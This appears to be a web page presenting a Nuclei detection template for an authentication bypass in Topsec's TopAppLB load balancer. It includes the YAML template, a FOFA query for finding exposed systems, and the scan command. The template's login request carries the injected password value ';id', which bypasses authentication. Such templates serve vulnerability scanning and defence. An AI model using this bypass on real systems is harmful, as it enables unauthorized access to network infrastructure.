Topsec TopAppLB - Authentication Bypass

ID: topsec-topapplb-auth-bypass

Severity: high

Author: SleepingBag945

Tags: topsec,topapplb,auth-bypass

Description

Topsec TopAppLB is vulnerable to authetication bypass .Enter any account on the login page, the password is ;id.

YAML Source

id: topsec-topapplb-auth-bypass

info:
  name: Topsec TopAppLB - Authentication Bypass
  author: SleepingBag945
  severity: high
  description: |
    Topsec TopAppLB is vulnerable to authetication bypass .Enter any account on the login page, the password is `;id`.
  reference:
    - https://github.com/cqr-cryeye-forks/goby-pocs/blob/main/Topsec-TopAppLB-Any-account-Login.json
  metadata:
    verified: true
    max-request: 2
    fofa-query: title="TopApp-LB 负载均衡系统"
  tags: topsec,topapplb,auth-bypass

http:
  - raw:
      - |
        POST /login_check.php  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        userName=admin&password=%3Bid
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 302 && status_code_2 == 200'
          - 'contains(body_2,"var IsHeadMin ")'
          - 'contains(header_1,"redirect.php") && !contains(tolower(header_1), "error=1")'
        condition: and
# digest: 490a00463044022015b6240fabd70abf8759cd651e1b5cf31564fb9a685648884322b5149db549e30220054ea151e899469f2b9bb39850250e61162e00841634eadff865227af36f1edf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/topsec/topsec-topapplb-auth-bypass.yaml"

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